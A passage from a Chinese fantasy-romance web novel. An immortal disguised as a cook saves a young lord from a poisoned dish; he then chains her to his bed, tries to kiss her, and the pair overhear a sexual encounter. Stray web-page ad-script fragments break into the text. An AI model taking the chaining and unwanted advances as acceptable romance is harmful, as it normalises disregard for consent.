但无论是在他那间飘满月桂清香的小院里,还是在那无可逆转的血色法阵之中,他抚上来的动作总是试探而轻柔的,眼神也很清净,或含笑,或安抚,仿佛真带着学生对老师不敢逾矩的克制。 慕璟明的嗓音和动作虽也有放轻,但却轻得强势而放肆。 他和小七是那样的相似,却又是这么的不一样。 他望向她的眼神总是更直白,也更热烈,清亮的瞳仁里情绪一览无余,他方才拿她挡了剑,此刻眸中便有着极淡的不忍,但更多的,是无愧,是坦然,是不悔。 仿佛只是做了一件有些残忍,但必须要做的事,哪怕再来一万遍,他还是会选择这么做。 璃音仰眸盯了他许久,直盯到他将她脸上的血色都抹净,盯到他与她回望半晌,挑了眉道:“真的怪我?” 她才终于摇头,亮着一双琉璃琥珀般清透的眸子,向他弯眼笑道:“有武器,就是要用啊。” 那是一个发自真心,毫无芥蒂的笑。 那样的千钧一发之际,他已亲眼见过她的刀剑不入,那么要同时面对突袭而来的匕首,和另一边一击不中、伺机再动的短剑,以她为盾,将敌人连击毙命,就是他战略上最安全、最好的选择。 但璃音却很喜欢这种感觉,这种感觉,是他把她护在身后,或是焦声喊她快走都比不上的,她甚至有点享受地眯了眯眼。 那一刻,他把她当做了一件趁手的武器。 他的这个决策下得如此狠而果断,出手既稳又准,冷静得迷人,勾得她全身的血都热烫起来,灼得喉间微涩,不由得轻轻舔了舔唇。 “璟明!” 一个略显焦急的女声,混着匆匆的脚步声自院外走了进来。 来人是个三十来岁模样的妇人,身姿袅娜,容貌姣艳,臂弯搀在一个二十岁左右的小丫鬟手里,小腹微微隆着,看上去大约有四五个月的身孕,璃音知道这位是侯府现在的夫人,是当朝左司马楚蠡的次女,叫作楚凝,也是慕璟明名义上的母亲。 慕小侯爷的生母在生下慕璟明不久,便染病故去了,武宁侯常年征战在外,认为府中不可缺了管事的女主人,于是很快续了弦,便有了现在的这位楚夫人。 慕璟明自幼丧母,一直被放在楚夫人膝下养着,楚夫人虽是后母,但性情温软,又一直无所出,直到今年肚子里才终于有了动静,她对慕璟明可以说是一路有求必应,呵护溺宠着过来的。 见她走来,慕璟明眸光极快地滞了一瞬,旋即恢复如常,迎了上去,道:“母亲。” 楚凝扶着肚子应了一声,将慕璟明全身上下仔细看过,蹙着眉道:“刺客的事,下人都报与我听了,你怎么样,可有受伤?” 说着目光就在院中逡巡起来,先是扫过桌上几碟菜肴,又扫过俏立在桌边的少女,最后看了一眼晕在地上、还没来得及被童墨搬走的胖子,抚着胸口轻轻“呀”了一声,似是受到了惊吓。 慕璟明见状扭头,皱了眉低声喝道:“童墨,动作快点。” 看着晕成死猪一样的大胖子,童墨心里叫一声苦,他连抛两尸,这会儿实在是有些搬不动了。 正不知如何下手,就见桌边那少女走了过来,双手撑着膝盖,俯身下来,向他笑道:“童墨,你去休息一下,我来吧。” 这姑娘笑和不笑时完全是两个样子,看着那张生动的笑颜突然靠近,童墨一下子涨红了脸,支吾道:“你一个小姑娘……” 璃音却根本不等他说完,纤细的五指一抓,就轻松地提起那胖男人的衣服后领,往自己小小的肩头一扔,迈着灵动轻盈的步子,将地上一坨几百斤的男人 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 扛走了。 童墨:“……?” 璃音今日心情不错,她把胖男人往侯府门外一丢,抬头看看天空澄澈,万里无云,畅快地在原地轻踮了脚转了一圈,流青裙摆蹁跹,似萤似蝶,灵巫擅舞,若不是因为还在门口,街上有人看着,她此时一定会跳一曲《灵傩》,来庆贺自己成功混入了侯府。 然而她的好心情并没能维持太久,一回到慕璟明院中,就看到楚凝已坐在了桌前,正对着一盘横平竖直的炒青菜,万分困惑地蹙着眉心道:“那三个都不能用,也不必非留下这个,你怎么吃得惯这……这种……” 她似乎很艰难地在寻找着能形容这盘菜的措辞,最后还是放弃了,直接说道:“厨子的事原也不急,大不了日后再招,我今晚先从大厨房给你调两个会做的过来。” 这一番话听得璃音眼皮直跳。 不好,煮熟的鸭子竟然要飞! “夫人……” 她不由得上前一步,刚要开口,就被慕璟明忽然出声打断道:“不必麻烦了。” “母亲。”慕璟明抬眸,伸手,缓而强势地将少女拉来自己身边,落在青色衣袖上的指间还晕着为少女擦血后染上的红,少年炽烈灼烫的视线毫不遮掩,恣意向璃音脸上洒落,他就这样盯着她,一字一句地吐字道:“我要她。” 还好还好,慕璟明是个说话算话的,说留下她就是留下了。 璃音眉眼一弯,对上少年放肆的眸光,目似传音,传的却不是一个“谢”字,而是轻轻眨了眨眼,向他送了一句如有实语的“真乖”过去。 慕璟明眸色微烁,像指尖撩过燃着的烛火,明灭一瞬,继而烧得更亮。 楚夫人顺着慕璟明灼亮的视线,凝目去看眼前貌若皎玉的青衣少女,半晌,有了然而温婉的笑意在唇角绽开:“既是璟明想要,就留下吧。” 她招手将璃音喊得近些,细细瞧过,和蔼地拉过少女的手,笑道:“晚上和璟明一起来我屋里吃个饭,这事便就这么定了。” 璃音微愣。 定个厨子,还要和一大一小两个主子吃饭呢? 她也算是在高门贵府里长大的,倒从没听说过这样的规矩。 但看着楚夫人殷切和善的笑脸,她还是有些懵懂地点了点头。 楚凝见璃音点头点得乖巧,似乎很是满意,她含笑抬头,意味深长地看向慕璟明,道:“往后她的月银,就按晚枝的给吧。” 晚枝正是随楚夫人一起过来的贴身丫头,璃音听了这话,眼睛亮了一亮。 只需做厨子的活,月银却按晚枝的给,这差事岂不比童墨的还清爽。 倒不是她要贪财怠惰,而是她万万没想到事情会这么顺利,一下就拿到了晚枝的月例,看来混成慕小侯爷的贴身丫头这事,是越来越有盼头了。 她有些难掩兴奋地抬头,却看到一旁童墨看向自己的眼神怪怪的。 嗯,他心里不太舒服也可以理解。 她又扭头去看慕璟明,就见他的神情也颇有些怪怪的,他飞快地朝她瞥过一眼,眼神亮得吓人,总是飞扬的神色间竟透出一股罕见而诡异的羞赧,说话时字音难得含糊:“谢过母亲。” 璃音有点摸不着头脑地继续扭头,看见楚夫人笑得一脸慈蔼,感觉她是这家里唯一个表情比较正常的人类。 直到她赴了楚夫人相邀的那一顿家宴,她才发现自己错了,而且是大错特错。 整个武宁侯府,根本就找不出一个正常人! 60. 第59章 懵 申时三刻,璃音刚被童墨领着,在自己的小屋里安顿好,就听门上传来几声轻叩。 门没关,她一回身,就见晚枝手里捧着一个妆奁,上面叠着一套桃粉色的新衣,在上面还放着厚厚的一封银子,笑意盈盈地走了进来。 放下手里这些东西,晚枝打开妆奁,将璃音按去妆镜前坐下,笑道:“这些是夫人给姑娘的见面礼。” 璃音看得咋舌,她只是一个厨子而已,楚夫人也太大方了! 正想着,晚枝突然向她头上探出手来,要动手拆她的发辫。 璃音自己不擅长梳妆,上了昆仑修炼后也不比在人间,没有手巧的丫头帮着梳头,自己梳的发髻歪歪散散的,打架的时候,髻下挽住的头发就总爱往下掉。 巫真师姐看她每次一练体术,就被糊一脸头发,笑得不行,就比照着她上昆仑时绑着的双垂髻,给她量身定做了一个“萤火髻”,把一根青绿色的丝带编着缠进她头顶的双平髻里面,下面的发丝也不再往上夹,而是与丝带一起编成一边两股长辫,辫上各缀一只翠玉萤蝶发扣,这样无论她如何动作,头发都不会散开了。 璃音对这个发式十分满意,她对于满意的东西一向不爱更换,哪怕这妆奁里金银琅翠满目,她也只要师姐给绑的这根丝带。 而且……她看到这些东西,心里还是会没来由地抗拒。 当下就缩了缩脖子,面上虽笑,但拒绝的意思明显:“晚枝姐姐,这发式不妥么?” 晚枝伸指轻绕了下她的发尾,动作莫名地缱绻,看得璃音脸上微热,就听她在身后轻笑着说道:“也好,明天再换也可以。” 璃音还不明白为什么明天要换,就见她又从妆奁下层取出碟碟罐罐的胭膏口脂来,显是要为她上妆。 “这个也不……” 璃音最后一个“用”字还没出口,下颚已经被晚枝从身后捏住,她捏得有些用力,脸被强硬地扳过,正对上晚枝眸如冷渊,审视般将她的脸一寸一寸地细细瞧着。 璃音不禁愣了愣,道:“晚枝姐姐?” 下巴上的指骨收紧,璃音放在桌上的手无意识挣扎了一下,便不小心碰下桌边一盒口脂,晚枝另一只手如风探出,轻巧一接,便将那盒口脂稳稳接在了掌心。 只这一招,璃音便看出来了,她会武功。 且功夫绝对在今日进府行刺的那两人之上,恐怕是个一流的高手。 璃音算不上惊讶,晚枝作为侯府里贴身跟着夫人的随侍,有武艺在身很正常,反而像童墨那样,跟在小侯爷身边,却一点功夫不会的,才真叫璃音觉得奇怪。 晚枝慢悠悠地将口脂放回桌上,捏在璃音下巴上的手指在她皮肤上暧昧地摩挲起来:“小娘子生得好,连夫人都夸的,不上妆也罢。” 嘴里说的是夸人的话,手上的动作也缠绵到叫人脸红,但语气却莫名凉凉的,璃音怎么听都觉得,这位晚枝姐姐,是不是不太喜欢自己? 璃音不大会应对这种“不喜欢”,有些无措地怔在镜前,好在门外一个清脆的女声及时把她解救了:“晚枝,夫人喊你过去,这里让我来吧。” 晚枝闻言,捏在璃音下巴上的五指一松,盈盈的笑意又回到了脸上,她最后意味深长地往璃音脸上看了一眼,转身走了。 新过来的小丫鬟年纪要小上不少,看着才十五六岁,见璃音怔怔地望着晚枝的背影,一边收拾了妆奁,要继续给璃音上妆,一边八卦地眨眨眼,嘻嘻笑道:“也别怪晚枝姐姐这样,前些年,夫人还把她送去小侯爷床上伺候过的,谁知最后被赶了回来,这会子见了姑娘,心里有些火气也正常。” 璃音猛地回神:“……啊?!” 这一段信息量太大,璃音听完后,整个人都是懵的,以至于小丫头拿了一堆脂粉往自己脸上涂啊画啊的时候,都完全忘了抵抗。 她早就隐隐觉得有哪里不对,这会儿终于知道是哪里不对了。 她终于明白了楚夫人为什么让她拿晚枝的月例,终于看懂了夫人那时对她打量又慈蔼的笑,也终于知道了这会儿给她上妆换衣服是在做什么。 这些都不是一个刚被招入府的厨子该有的待遇。 因为在楚夫人眼中,她根本不认为今天往侯府里招的真是个普通厨子,而是一个送给慕璟明的通房丫头! 璃音扶额,事情好像开始往奇怪的方向发展了…… 现在该怎么办,要跑么? 要不直接找个地方睡四年,四年后直接去宴会上偷弓算了。 这其实才是她最初始的打算,可又担心没头没尾地把弓拿了,这样的轻举妄动会引起历史上的什么变故,这才想要多观察一下始末,混进侯府的。 但这个侯府是万万待不下去了,必须跑,今晚就要跑! 这时小丫头正热心地给她换着衣服,嘴里叽叽喳喳的,左一句“好看”,又一句“漂亮”,璃音看她热情如此之高,终于没好意思打断她,只动了动脚,准备等这小丫头一忙活完出门,就立刻跑路。 谁知等小丫头把她从头到脚装扮完了,璃音一回头,却看见慕璟明就杵着两条长腿,闲闲地倚门立着,眼神烁亮,神姿飞扬,也不知在那里站了多久。 见她回头,眼神更是亮了又亮,滚热的视线在她身上来来回回黏过好几圈,才向她伸手笑道:“母亲那边菜都备好了,我来接你过去。” 小丫头见状,笑嘻嘻地给璃音咬耳朵:“姑娘好福气,小侯爷对姑娘真是上心。” 好福气个鬼! 那亮得吓人的眼神她之前没看懂,但现在可是完完全全地看懂了。 但人都来接了,看来楚夫人的这顿饭是躲不过去了。 罢了,吃顿好的再跑,也行。 这么想着,璃音拔步走向门口,经过慕璟明身边时,看他一脸招摇地将自己望着,实在忍不住,瞪他一眼,朝他脚上狠狠踩了一下,怒哼:“色狼!” 就甩开他牵过来的手,自顾自往前走了。 慕璟明被这兜头一句“色狼”骂得微怔,半晌,挑眉一笑,迈开长腿,跟上前面快步走着的少女,又去捞她走动时晃来晃去的手:“多看你两眼也要生气?” “谁要你看。”璃音再一次甩掉身后那人不安分蹭过来的手,横他一眼,却发现那人正盯着自己笑得灿然,更气了,“不许看!” 其实她也不晓得自己到底在生什么气,但反正现在一看到慕璟明,再看他这幅少年倜傥的样子,就气不打一处来。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 慕璟明挨了她一脚,又被她扔了两次手,倒也不恼,只笑道:“你主子派你来使美人计杀我,你却看都不许我看,有点过分了吧?” 璃音闻言,心头火气直往上蹿,她停步回身,觉得自己快要被这人气死了:“要我说几次,我不是来杀你的。” “我让童墨查过了,你的身份,来处,父母,都是一片空白。”慕璟明看向身边被装点得灵过三月桃枝的少女,眼底蒙上一层阴翳,“这些你若能说清楚,我便当你不是来杀我的。” “我……” 见少女的身子明显僵住,慕璟明眸色黯了一瞬,抢在她开口前说道:“如果是谎话,就不要说。” “我以后也不会再问。”他终于如愿牵上她的手,笑着看她有些发懵的样子,“走吧,别让母亲等久了。” 璃音是真的懵。 她有点看不懂慕璟明了。 既然他认定她是潜入侯府的刺客,为什么还要把她留下? 还留在这样危险的位置。 他就不怕哪天夜里,她突然翻身给他一刀么? 还有更怪的。 她的来历不明,慕璟明知道让童墨去查,楚夫人这样一个身边婢女都是绝顶高手的人,可见防备心多强,面对一个即将被送去慕璟明枕边的人,她会不让人去查? 但她甚至连考察期都没要,就这么轻易地应允了。 这一家人都够怪的。 你要说他们缺心眼,他们偏偏很清楚身边的危险,但你要说他们谨慎,他们做下的事又处处透着缺心眼。 璃音就这么一路懵着被慕璟明牵进了楚夫人的宅院,牵去摆满各色肴馔的桌前落了座。 晚枝温了一壶酒上来。 璃音看着一桌的好酒好菜,以及楚夫人和慕璟明一派彬彬有礼、母慈子孝着给彼此夹菜的样子,觉得更怪了。 她盯着桌上那一盆冒着热气的鱼汤,以及上面浮着的葱花,十分确认这道菜和中午来应征厨子的那个矮胖男人,是完全一样的手艺。 她不信慕璟明看不出来。 但慕璟明真就看不出来似的,恭敬有礼地接过了楚夫人舀给他的一碗鱼汤。 楚夫人笑得一脸温柔,又张罗着给璃音夹菜,“小璃,你也吃。” 璃音压着满腹的疑问,尽力挤着笑道:“谢夫人。” 这个楚夫人真的太怪了。 你说她关心慕璟明吧,她不知道他受不了葱味。 但你要说她不关心吧,她甚至细细地为他挑走了鱼刺。 楚凝看慕璟明接过了碗,却没有动筷的意思,柔声道:“璟明,怎么不吃?” 慕璟明迟疑了下,最后还是拿起筷子,夹了鱼肉,往嘴里送了一口。 明明就不想吃,不能吃,为什么还非要吃呢?璃音想不明白。 几息后,慕璟明忽然起身冲去门外,扶着廊柱剧烈地干呕起来。 “小七!” 璃音忙放下筷子,在跟出去之前,看到楚夫人咬住了下唇,泪意在眼眶里打转,尴尬又无措地坐着。 这一下她觉得自己追出去也不是,留下来也不是。 只得在心里凌乱地嚎叫:这到底是一对什么母子啊! 61. 第60章 璃音到底还是追了出去。 她看慕璟明一手按在廊柱上,一手掐住干呕的喉咙,似乎这样就能把体内翻涌如潮的不适遏下,透白的指骨捏得太过用力,把颈上都扼出一片靡红。 璃音连忙跑去掰他快把自己钳到窒息的那只手:“你疯了?” “不要你管。”慕璟明冷冷将璃音抓来的手甩开,看向少女的眼里蒙着一层因溺气而泛起的水雾。 少女被他甩得一愣,轻怔半晌,忽地冷笑一声,那总如清越灵涧般的嗓音也冷了下来:“我是多余管你的闲事,你爱掐,就把自己掐死好了。” 转身就走。 璃音是真要被慕璟明气死,这侯府她是一刻也不想多待了。 这顿饭总归也是砸了,不若这就进屋去和楚夫人告个别,还了这身衣服首饰,出府算了。 谁知她刚踏进屋内,就见慕璟明若无其事跟了进来,若无其事牵起她的手,又若无其事地坐回了桌前,若无其事地向楚夫人颔首致歉:“适才不小心呛了一下,让母亲担心了。” 楚夫人也恢复了一脸柔蔼笑意,忙又给慕璟明盛了一碗鱼汤递来,温声笑道:“你呀,就和你父亲一样,吃东西吃得急,慢着些,又没人和你抢。” 母慈子孝,一派和乐。 仿佛刚才的一切都从未发生过。 若不是慕璟明颈间还残留着几道来不及退却的红痕,以及星星点点冒出的几点红疹,璃音都要以为之前那诡异又尴尬的一幕,全都只是自己的一场错觉了。 她知道有些人是不能吃一些特定食物的,一旦误食,轻则身上瘙痒红肿,重则直接丧命。 而此刻的慕璟明不喊痛也不叫痒,只是垂眸接过楚夫人递来的那只青瓷小碗,拿起瓷勺,就又要把鱼汤往自己嘴里送。 璃音不清楚这对母子到底在互演什么戏,她只清楚地知道,楚夫人端来的这一碗鱼汤,于慕璟明而言,和毒药没什么区别。 她霍地起身,劈手将碗勺都夺了,摔在桌上,冲慕璟明叫道:“谁允许你吃别人做的东西?” “夫人,这饭我们不吃了。”她一把将呆愣的慕璟明从凳子上拽了起来,望向同样呆愣住的楚夫人,“以后也不用再往他这里塞人了。” “他房里,有我一个就够了。” 此言一出,满室阒静。 赶来收拾桌面的晚枝也停了动作。 璃音视线扫过楚夫人,又缓缓落去晚枝身上,冷脸冷声:“否则来一个,我杀一个。” 晚枝拢着碗筷的五指紧了紧,没有做声。 璃音冷哼一声,当着楚夫人的面,就一把揪住慕璟明的耳朵,狠命向上提着,嫩红的唇瓣靠过去,把话直接往他耳朵里灌:“你也听见了?” 活脱脱是个醋意大发的泼辣小丫头。 楚夫人彻底呆住了。 慕璟明任少女的指爪揪着自己的耳朵,在上面没轻没重地肆意拉扯蹂躏,他望着她,被水光浸染过的瞳仁清润透亮,听她威胁似的“嗯”了一声,眼角一弯,向她乖乖地道:“听见了。” “新的厨子也不许进来。”璃音意有所指地瞥过那一碗鱼汤,揪耳朵的力道又加重,另一手凶悍地叉起腰来,“那胖子也不许来,以后只许吃我做的饭,烂青菜你也给我受着,知道了没有?” “知道了。” “有意见?” “没有。” 璃音满意点头,放过慕璟明被她揉搓得通红的耳朵,向楚夫人道:“夫人,这桌菜您和晚枝姐姐一起慢慢享用吧,我们先走了。” 说罢,拉了慕璟明的手就往外走,她个子不高,步子却迈得极快。 “你管我做什么。”慕璟明被她扯着一路狂走,微凉的笑意沁入夜色里面,“我死了,不是正好称你的意?” 璃音懒得再跟他掰扯这些,把他丢回房里,快步取来一个铜盆,就恶狠狠地往他后脑上一按,把他整张脸都摁进盆里,冷声:“吐出来!” 少女摁在后脑的手竟如千钧巨石,无论身下长身长腿的少年如何挣扎,都仍只能纹丝不动地被她按着。 慕璟明见挣脱不了,干脆破罐破摔地不动了,就把脑袋往盆里一搁,闷闷地道:“不要你管。” “又不听话了是不是?”璃音提着后领将少年的脑袋从盆底捞出来,翻开的衣领下,后颈上大大小小的红疹已经斑驳一片。 璃音左手摁住慕璟明的后背,右手疾向前探,四指捏开他的下巴,余下的一根食指毫不客气地侵入喉咙,抠挖着命令:“吐!” 怎么可以被人催着喉咙呕吐,还是……还是在她面前…… 慕璟明只觉羞臊难当,不觉又剧烈地挣扎起来,喉中呛出干呕,颊上也浮起绯红。 “不要……” 他要用手去掀那铜盆,却被少女从身后一把将两只乱动的胳膊都剪住。 “小七,吐出来好不好?”少女将男人牢牢制在身下,一根手指不容抗拒地在他喉间搅动着,嗓音却温柔下来,带着点哄,“吐出来就不会难过了。” 吐出来,就不会难过了吗? 吐出来,就可以治好发现母亲可能想他去死的那种难过吗? 趁着少年怔愣这瞬间,璃音左手运劲在他背脊上落下几个重拍,右手顺势探入喉管一勾,终于把慕璟明这一晚上不该吃进肚子里的那些东西,全都勾得吐了出来。 这一晚上,她又是在楚夫人面前扮演撒泼妒妇,又是威逼哄骗齐上,帮慕璟明催吐的,只觉自己真是为这在凡间历劫的祖宗操碎了心。 毕竟,总不好真眼睁睁看着他被一碗鱼汤毒死吧。 璃音在心里一个劲地叹气。 这天杀的武宁侯府,她是又走不成了。 今天来应征的四个厨子里面,有两个刺客就够离谱的了,剩下的那个胖子竟还是楚夫人派来的。 爹不在,娘不爱,身边人十个有九个是盼着他赶紧死的,这九个人里面甚至有一个还可能是他的母亲,这样长大的慕璟明,性子能正常吗? 真不知道司命是怎么想的,竟给这位神君按了个这样凉薄的命数,难怪历劫历得怨气一次比一次重。 看慕璟明乖乖吐完,璃音收了钳制,掏出帕子要给他擦嘴。 少年却别过头去,躲着擦来的软帕,不肯看她。 璃音看他扭过脸,压抑地抚着胸口轻咳,只在她视线里留下一只红得似要滴血的耳尖,随着咳声一颤一颤的,也知道刚才那一番强迫有点太挑战他的羞耻心了,还是留点空间让他调理一下的好。 便笑道:“那你自己来。” 她把帕子塞去慕璟明手里,轻声:“我去让童墨给你弄点水来洗一洗,好不好?” 少年红着耳尖,轻轻“嗯”着地点了点头。 璃音从未见过他这副被人欺负狠了的模样,颇觉好玩地伸手捏一捏他红红的耳朵尖,笑道:“好好洗,一会儿我过来检查。” 她对天发誓,她这话是本着医者仁 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 心说出来的,是要等他洗完,给他看看身上红肿消了没,绝无一点旁的心思。 但慕璟明听了,耳尖那抹靡红暴涨,竟一下子把耳根都洇透了,他蓦地回眸,璃音才见他连眼尾都染上了羞怒的微红,他低低向璃音开口,像小狼龇牙:“不是不允许我房里有别人么?还叫什么童墨,我看你力气大得很,挑个十桶八桶水都不是问题。” 十桶八桶? 璃音心里觉得好笑,但看他满面熏红,也知道他快被惹到极限了,于是笑着给他顺一顺毛:“小侯爷下令,七八十桶都给您挑来。” 便转身去给他弄水去了。 她提水进去,帮他拿换洗的衣服,乃至在外面等他洗的时候都还算乖,一个人在里面也没闹出什么动静。 璃音只当他那点羞耻已经调理好了。 谁知就在他安安静静换好衣服,靠上床榻,乖乖让璃音掀开他的衣领,去检查颈后的红疹时,却突然抓住璃音的手腕,一个翻身,就把她扔去了床榻的里侧,接着…… 咔嗒—— 金属制器严丝合缝扣上的声响。 璃音不敢置信地睁圆了眼,举起被他铐在腕上的一根粗大铁索:“慕璟明,你认真的?” 她扯了扯链条,发现另一端竟牢牢地嵌在榻旁屋墙的石壁里。 少年恶劣地眨一眨眼,装模作样打个哈欠,道:“累了一天,先睡了。” 躺下后,还不忘冲她龇牙笑道:“你也睡。” 那索链正好将她困在榻上的最里侧,而慕璟明就贴着床沿睡在外面,是个任她伸手踢腿,都刚好触不到他的距离。 当然,若她真心要走,这种东西其实也困不住她。 但璃音看他微倦地阖上了眸,便没挣扎。 随他去吧。 从昨晚到现在,他都没有好好合过眼。 这一天他确实很累了,刺杀,食毒……身边所有人都要杀他,他会有这样的戒心,也能理解。 就先让他安稳睡了这一觉好了。 正好,她也有许多事情,要趁着今晚好好规划一下了。 往后留在武宁侯府的事,寻找落日神弓的事,如何回到庆宁二十三年的事…… 她闭了眼睛,正要把这些事好好理个头绪出来,就忽觉一股热烫的呼吸靠近。 她一掀开眼皮,就见慕璟明居然靠了过来。 见她睁眼,慕璟明靠过去的动作稍滞,有一点烛光在他身后远远地燃着,往他身上摇曳出一点暧昧的橘红,他在这朦胧的光影里眨了眨眼,胸腔无声起伏,半晌,又倏地再次向眼前的少女迫近。 璃音也跟着眨了眨眼,看他的唇带着初冬微凉的气息落下…… 张开五指,啪的一声,将他一整张脸推开,面无表情地道问:“你干什么?” 小侯爷透过指缝望向她的瞳仁清亮,眨眨眼,一副理所当然的样子:“亲你。” 璃音:“……?” 手上用力,又把人推得更远了些。 慕璟明被她一推再推,直推到索链绷直,再推不动了,少女才终于停手。 被推回床沿的慕璟明黑着一张脸,那清澈的眸子里也蒙上了一层阴翳,不服气地又靠过去,沉着脸道:“你不喜欢?” 很有点矜贵惯了的人,遭到人生第一次拒绝的恼。 璃音对上他锋锐无声的眼神,也无声回望他,半晌,一扯唇角,忽道:“晚枝姐姐在你床上的时候,你也是这样对她的?” 62. 第61章 一场活春宫 夜幕倾垂,星辉幽冷。 璃音支起一只腿坐着,手肘撑在膝盖上,下巴搁在掌心里,正和慕璟明一起,坐在楚夫人寝房的屋顶上。 她方才在榻间对慕璟明抛出那句诘问之后,慕璟明就笑得眉梢扬起,说出一句让她倍感震撼的:“晚枝是父亲的人。” 就除了她腕上的镣铐,强拉她爬上了这处屋顶。 两人做的这事分明鬼祟十足,姿态偏偏一个比一个闲雅,慕璟明整个人惬意慵懒地躺在斜瓦之上,头枕着单臂,任清幽星光洒了他满身满眼。 通身的清贵懒散,站在月桂清香里的神君与眼前少年的身影重叠,好似以屋瓦为界,这上面便不再是会散发烟火气的人间。 璃音支着下巴看他,第一次觉得,天宫不必要非在九重天之上,而是他在哪里,哪里就是天宫。 没有刻意孤高,但生来就是孤高的,无论如何下界,他都是那颗孤独高悬在天幕之上,冷而不寒的星,他从不在这人间,也不垂眼看这人间。 不过他这副无意间流露出的孤悬天际、不食人间烟火的死样,叫璃音怎么看都不大顺眼,于是在心里哼了一声,偏要给他接上点地气似的,轻踢出平放着的那条腿,就往他纤尘不染的裤腿上踹去一个浅浅的鞋印。 浴在银河余晖下的少年被她踢得轻笑,终于在幽凉夜色中笑出几分清爽的活气。 “嘘,别闹。”慕璟明总算还知道他俩是在做贼偷听,声音压得极低,他笑着伸臂去勾少女的后腰,揽她在自己身侧躺下,让少女侧首把耳朵贴去微凉的瓦片之上,“她来了。” 这个她,指的自然是晚枝。 晚枝进屋来伺候楚夫人就寝了。 璃音还记得慕璟明说的,晚枝是侯爷的人。 侯爷把她派在楚夫人身边是为了什么呢?是保护,还是监视? 但在楚夫人看来,这里面一定有着羞辱。 而楚夫人又曾试图把晚枝往慕璟明的房里送,这又是什么意思?是在暗暗发泄对丈夫的不满,要把这份羞辱以某种方式还回去么? 这武宁侯府里各人的小心思如一团乱缠的麻线团,真是…… 太超过她的认知了。 璃音想得头痛,她不擅长应对这些,她总是更喜欢简单、纯粹一些的东西,无论是日常穿戴使用的物品,还是身边的人。 她不禁侧着脸,抬眸望了望自己现在的身边人。 他正用亮亮的眸子盯着她,唇边挂着点若有似无的笑。 她不知道慕璟明带她过来偷听的用意是什么,但他望向自己的眼神清亮直白到仿佛会说话。 她很确定他在用自己那双漂亮得不像话的眼睛,对她说:想亲你。 璃音颊上一热。 没忍住又轻轻踹了他一脚。 她也用眼神回瞪他,没出口的意思明显:色狼! 慕璟明越发笑得无声张扬。 那一簇此刻并不存在的橘黄色烛火,似乎又在他身后摇颤起来。 璃音偏了偏头,有心避开少年明澈暧昧的视线,要散一散这目光相接之中的暧昧。 却不想就在此时,瓦片下灯火人间的室内,忽地传出一声更暧昧的、女人难耐的轻吟。 璃音何时听过这样的活春宫,这一瞬,整个人、乃至整个脑子都仿佛冻结了。 而且,这下面是楚夫人的卧房,这声音除了是楚夫人发出来的,还能是谁? 一想到这里,她脸唰的一下通红。 哪怕只是名义上的,楚夫人也算是慕璟明的母亲啊! 天底下怎么会有儿子,带姑娘来听自己母亲的活春宫?! 变态,这一家子全都是变态! 父亲派情人监视妻子。 妻子把丈夫的情人往儿子床上送。 而儿子带人来听母亲的活春宫。 璃音脑中仿佛绷了千万根弦,此刻正一根一根,被楚夫人柔婉起落的吟哦之声挑弄着断裂…… 她仰起红得一塌糊涂的小脸,抬头去看慕璟明。 却见他只是冷冷淡淡地枕臂躺着,与漫天银河对望,唇角的笑意再看不见,仿佛这瓦下荒唐的一切都与他无关,他像悬在红尘之外的一抹孤星,清冷星辉点在他的眸里,再一次为他点出几分不属于这人间的淡漠。 震惊,无奈,愤怒,哪怕情欲……任何普通人在此时该被挑起的情绪和反应,在他身上,通通都没有。 不知为何,璃音看着这样的他,心里会有些不安。 “小七……” 她伸手,去拉他的衣袖,看他向她侧首过来,澄澈透亮的视线有如实质,被她呼唤着他的眼神牵住,仿佛只要伸手一握,就可以被自己攥进手心,心里才稍稍安定了一些。 她动了动唇,刚想对他说些什么,忽听见下面传来混杂着黏腻交缠的水声与楚夫人动情吟叫的一句:“晚枝……晚枝……轻些……孩子……小心孩子……” 璃音半张着嘴愣在原地,宛若石化。 晚枝……晚枝?! 对啊,晚枝不是在夫人房里呢么? 晚枝和楚夫人,楚夫人和晚枝……?! 她正呆愣愣地木着,就听屋内两人缠绵缱绻的对话一句比一句石破天惊。 “夫人不是很喜欢晚枝这样弄你吗?” “喜欢啊……喜欢晚枝……” “是晚枝弄得您舒服,还是侯爷弄得您舒服?” “晚枝……嗯……晚枝弄得舒服……” 璃音早已听得眸光迷离,神思都飞出了天外,两只耳朵红透了,耳尖都在发烫,不期然就被慕璟明报复似地捏了上来:“听得这么认真,原来阿璃也是个小色狼。” 因怕惊动屋里的人,慕璟明说话时凑得极近,嗓子又压得极低,低到几乎是用气音在她耳边吐字,潮暖的热气驱走夜雾,吹在她耳后敏感的细小茸毛上,又被夜寒浸得微凉的指腹轻柔地一阵揉捏,直揉得她心尖一颤。 她猛地坐起身子,也顾不上吓到什么凡人了,立刻就要跳下屋顶,落荒而逃。 却又被晚枝这时说出口的一句话直愣愣地钉在了原地。 “夫人今天盯着那新来的小姑娘看了好久,还夸她好看。” “那明明是帮璟明看的,你……嗯……你还去帮她梳妆了……如果我不派人去叫你,你是不是……你是不是就要帮她涂口脂了?” “那晚枝以后只给夫人一个人涂口脂好不好?” “好啊……晚枝……晚枝……” 璃音怎么也没想到,自己在这场春宫大戏竟里还能捞着点戏份。 窘迫之余,心头却有另一块石头在这诡异的时刻卸下:原来晚枝姐姐并不讨厌她,只是因为楚夫人多看了她两眼,吃醋了呀。 她好像,只是误打误撞,成了她们今日份激情角逐中的一个……助兴的道具。 她满面通红地默了一默。 整个人都被那屋里的动静搅得晕乎乎的,脑子像被个大榔头敲过一般,就连什么时候被慕璟明牵着下了屋顶,又什么时候被他牵回了房里的榻上都不知道。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 直到熟悉的“咔嗒”声响起。 璃音呆呆看了眼腕间再次铐上的索链,半晌,才终于回过了神。 一抬眸,就见慕璟明正似笑非笑地将自己望着,见她回魂,一颗脑袋就立即凑了过来,他在她极近的眼前眯着眼笑,问:“现在没问题了吧?” 热切的眼神替他说着下半句:可以亲你了吧? 璃音再一次张开五指,啪的一声,把他的脸推远了一些。 怎么没问题? 问题多了去了! 她推着他问:“你说晚枝是你父亲的人?” 